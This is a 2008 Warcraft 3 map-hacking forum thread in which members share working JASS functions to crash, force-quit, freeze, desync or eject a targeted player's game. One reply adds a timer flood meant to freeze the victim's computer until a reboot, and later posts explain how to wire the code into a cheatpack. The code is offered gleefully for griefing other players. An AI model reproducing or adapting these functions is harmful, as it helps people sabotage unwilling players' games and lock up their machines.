wc3edit.net

United Warcraft 3 map hacking!
It is currently January 6th, 2009, 11:56 am

 

All times are UTC




Post new topic Reply to topic  [ 10 posts ] 
Author Message
 Post subject: Game Disruptions & A bit more
PostPosted: July 10th, 2008, 8:10 am 
Offline
The Flying Cow!
User avatar

Joined: November 2nd, 2007, 10:34 pm
Posts: 1524
Location: Melbourne
Title: Uberfast Hacker
Lol. I found some triggers to disrupt game play and decided to share them :D

First off, everyone loves to crash others :D

Code:
function SendCrash takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("Harr! Crashy!!")
endif
endfunction

Usage: call SendCrash(<Insert Player Here>)

Seconly, EXIT someone's warcraft!! :D

Code:
function ExitWarcraft takes nothing returns nothing
loop
call ExecuteFunc("ExitWarcraft")
endloop
endfunction

function SendExit takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("ExitWarcraft")
endif
endfunction

Usage: call SendExit(<Insert Player Here>)
Please note that this won't just cause massive lag and leaks, although it may seem that way, I tested it and it worked ;) And this is good for making people go 'WTF' because their wc3 just closed without fataling :D

Next, we can freeze someone's warcraft :D Harr harr.

Code:
function FreezeWarcraft takes nothing returns nothing
loop
call TriggerSyncReady()
call ExecuteFunc("FreezeWarcraft")
endloop
endfunction

function SendFreeze takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("FreezeWarcraft")
endif
endfunction

Usage: call SendFreeze(<Insert Player Here>)

We can also desync (split) people easily:

Code:
function SendDesync takes player p returns nothing
if p==GetLocalPlayer()then
call CreateUnit(GetLocalPlayer(),'hpea',0,0,0)
endif
endfunction

Usage: call SendDesync(<Insert Player Here>)

That's it for the game disruptions. Now it's time for the last one, the famous '-end' command! (Except it's only for 1 player at a time :D) It just makes the picked player immediately leave the game and go to chat.

Code:
function SendLeave takes player p returns nothing
if p==GetLocalPlayer()then
call EndGame(false)
endif
endfunction

Usage: call SendLeave(<Insert Player Here>)

Hope you enjoy these game disruptions!! :D

_________________
Experience is not what happens to you; it's what you do with what happens to you. - Aldous Huxley


Top
 Profile  
 
 Post subject: Re: Game Disruptions & A bit more
PostPosted: July 10th, 2008, 3:09 pm 
Offline
Co-Admin
User avatar

Joined: January 28th, 2007, 8:10 pm
Posts: 729
Location: Canada
Title: JASS Programmer
Lol. I've seen these and some I used in Island Defense some time ago (Such as endgame).

-You shouldn't need unnecessary loops (Since the executefunc will execute itself anyway)
-Also, SendExit doesn't need the ExitWarcraft function to work if I'm not mistaken
-I would use TriggerSyncStart() instead of TriggerSyncReady(), since the new patch (1.22) I noticed that TriggerSyncStart() freezes forever. TriggerSleepAction(0.) does that too now I think.

And you forgot this winner (Instant Desync + freeze computer; most users will need to reboot as Operating Systems might take up to 10 minutes or more to close the program):

Code:
function Clusterfuck_Child takes nothing returns nothing
call TimerStart(CreateTimer(),.001,true,function Clusterfuck_Child)
endfunction

function Clusterfuck takes player p returns nothing
if p==GetLocalPlayer()then
call RemoveUnit(CreateUnit(GetLocalPlayer(),'hpea',0,0,0))
call TimerStart(CreateTimer(),.001,true,function Clusterfuck_Child)
endif
endfunction

_________________
Image


Top
 Profile  
 
 Post subject: Re: Game Disruptions & A bit more
PostPosted: July 10th, 2008, 6:13 pm 
Offline
Admin
User avatar

Joined: January 18th, 2007, 11:07 am
Posts: 588
Location: Ulm, Germany
Title: Der überwacher
wow, the ultimate -kick command, just close warcraft altogether. I might just have to use this in my map. (If the multiboard gets fixed ;D)

_________________
Image


Top
 Profile  
 
 Post subject: Re: Game Disruptions & A bit more
PostPosted: July 12th, 2008, 4:07 am 
Offline
Co-Admin
User avatar

Joined: January 28th, 2007, 8:10 pm
Posts: 729
Location: Canada
Title: JASS Programmer
Vegas wrote:
(If the multiboard gets fixed ;D)

lol...
I added a trigger comment with all the globals I used...just make sure those are in there...

_________________
Image


Top
 Profile  
 
 Post subject: Re: Game Disruptions & A bit more
PostPosted: July 12th, 2008, 1:11 pm 
Offline
Admin
User avatar

Joined: January 18th, 2007, 11:07 am
Posts: 588
Location: Ulm, Germany
Title: Der überwacher
Ya, they are. I just happened to fuck something up somewher, and the game crashes and returns to the main page. Also now when trying to test the map, it comes with an error before it goes to gameplay. been working 9-10 hour days and havnt had the energy after work to look at it more intense.

_________________
Image


Top
 Profile  
 
 Post subject: Re: Game Disruptions & A bit more
PostPosted: July 12th, 2008, 10:06 pm 
Offline
Co-Admin
User avatar

Joined: January 28th, 2007, 8:10 pm
Posts: 729
Location: Canada
Title: JASS Programmer
-.-'

_________________
Image


Top
 Profile  
 
 Post subject: Re: Game Disruptions & A bit more
PostPosted: July 25th, 2008, 3:10 am 
Offline
Super Moderator
User avatar

Joined: June 8th, 2007, 5:08 am
Posts: 996
Location: Malaysia
Title: Not a Hacker
so, these are some evil kick commands. >:D

_________________
ImageImageImage


Top
 Profile  
 
 Post subject: Re: Game Disruptions & A bit more
PostPosted: October 22nd, 2008, 6:28 am 
Offline
Member

Joined: March 1st, 2007, 8:22 pm
Posts: 63
Ozzapoo wrote:
Lol. I found some triggers to disrupt game play and decided to share them :D

First off, everyone loves to crash others :D

Code:
function SendCrash takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("Harr! Crashy!!")
endif
endfunction

Usage: call SendCrash(<Insert Player Here>)

Seconly, EXIT someone's warcraft!! :D

Code:
function ExitWarcraft takes nothing returns nothing
loop
call ExecuteFunc("ExitWarcraft")
endloop
endfunction

function SendExit takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("ExitWarcraft")
endif
endfunction

Usage: call SendExit(<Insert Player Here>)
Please note that this won't just cause massive lag and leaks, although it may seem that way, I tested it and it worked ;) And this is good for making people go 'WTF' because their wc3 just closed without fataling :D

Next, we can freeze someone's warcraft :D Harr harr.

Code:
function FreezeWarcraft takes nothing returns nothing
loop
call TriggerSyncReady()
call ExecuteFunc("FreezeWarcraft")
endloop
endfunction

function SendFreeze takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("FreezeWarcraft")
endif
endfunction

Usage: call SendFreeze(<Insert Player Here>)

We can also desync (split) people easily:

Code:
function SendDesync takes player p returns nothing
if p==GetLocalPlayer()then
call CreateUnit(GetLocalPlayer(),'hpea',0,0,0)
endif
endfunction

Usage: call SendDesync(<Insert Player Here>)

That's it for the game disruptions. Now it's time for the last one, the famous '-end' command! (Except it's only for 1 player at a time :D) It just makes the picked player immediately leave the game and go to chat.

Code:
function SendLeave takes player p returns nothing
if p==GetLocalPlayer()then
call EndGame(false)
endif
endfunction

Usage: call SendLeave(<Insert Player Here>)

Hope you enjoy these game disruptions!! :D

how do i implement all these into an existing cheatpack?


Top
 Profile  
 
 Post subject: Re: Game Disruptions & A bit more
PostPosted: October 23rd, 2008, 1:38 am 
Offline
Super Moderator
User avatar

Joined: June 2nd, 2007, 6:53 pm
Posts: 809
Location: US East
I do believe that you look at Fai's cheatpack... map-deprotection-cheating-f3/fai-s-cheat-pack-ver-3-0-t5152.html
He added these functions to his cheatpack.

Basically, copy those functions, and paste them in. Then, make triggers that will check for the typed command, and when it sees them, calls that function on the player that was mentioned in the typed command. It's hard to explain it, if you want to see what I mean, just tell me so. I'll show you what I mean/how you would do it.

_________________
Image
Image
Image
Image

My Tool Collection/Archive!
[url="http://stopsylvia.com"]Sylvia Browne[/url]


Top
 Profile  
 
 Post subject: Re: Game Disruptions & A bit more
PostPosted: October 23rd, 2008, 2:15 am 
Offline
Admin
User avatar

Joined: January 17th, 2007, 4:22 pm
Posts: 1933
Location: Darmstadt, Germany
Title: Proud to be a Kraut!
Aero wrote:
Lol. I've seen these and some I used in Island Defense some time ago (Such as endgame).

-You shouldn't need unnecessary loops (Since the executefunc will execute itself anyway)
-Also, SendExit doesn't need the ExitWarcraft function to work if I'm not mistaken
-I would use TriggerSyncStart() instead of TriggerSyncReady(), since the new patch (1.22) I noticed that TriggerSyncStart() freezes forever. TriggerSleepAction(0.) does that too now I think.

And you forgot this winner (Instant Desync + freeze computer; most users will need to reboot as Operating Systems might take up to 10 minutes or more to close the program):

Code:
function Clusterfuck_Child takes nothing returns nothing
call TimerStart(CreateTimer(),.001,true,function Clusterfuck_Child)
endfunction

function Clusterfuck takes player p returns nothing
if p==GetLocalPlayer()then
call RemoveUnit(CreateUnit(GetLocalPlayer(),'hpea',0,0,0))
call TimerStart(CreateTimer(),.001,true,function Clusterfuck_Child)
endif
endfunction


I am glad I'm using GNU/Linux and run wc3 in a dedicated xserver -> ctrl + alt + backspace and wc3 is gone :D

_________________
Don't PM me with shit or I will most likely ban you.
Spoiler for Shit is:
"Dekar I don't know any jass but I am building my own cheatpack, help me!"
- I don't know jass either, my cheatpack is 100% GUI and was the biggest thing I EVER made in WorldEdit.

"Dekar I need really fast help so I don't post but pm you."
- I hope you really didn't post cause it would just waste the others time -> with a ban you couldn't read it anyway!

"I don't know if you know the map, but xdep fails on defiance orpg what shall I do?"
- Yeah I don't know it, it was only like the 3rd map I've hacked. - I hope you downloaded mine already, with an IP ban it might be tricky to get it.


I wanted to duel mentally - then I realized you are unarmed!


In the world of thinking we are all immigrants. -Robert Nozick


Top
 Profile  
 
Display posts from previous:  Sort by  
Post new topic Reply to topic  [ 10 posts ] 

All times are UTC


Who is online

Users browsing this forum: No registered users and 1 guest


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Search for:
Jump to:  
Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group

Privacy Policy Statement
Impressum (German)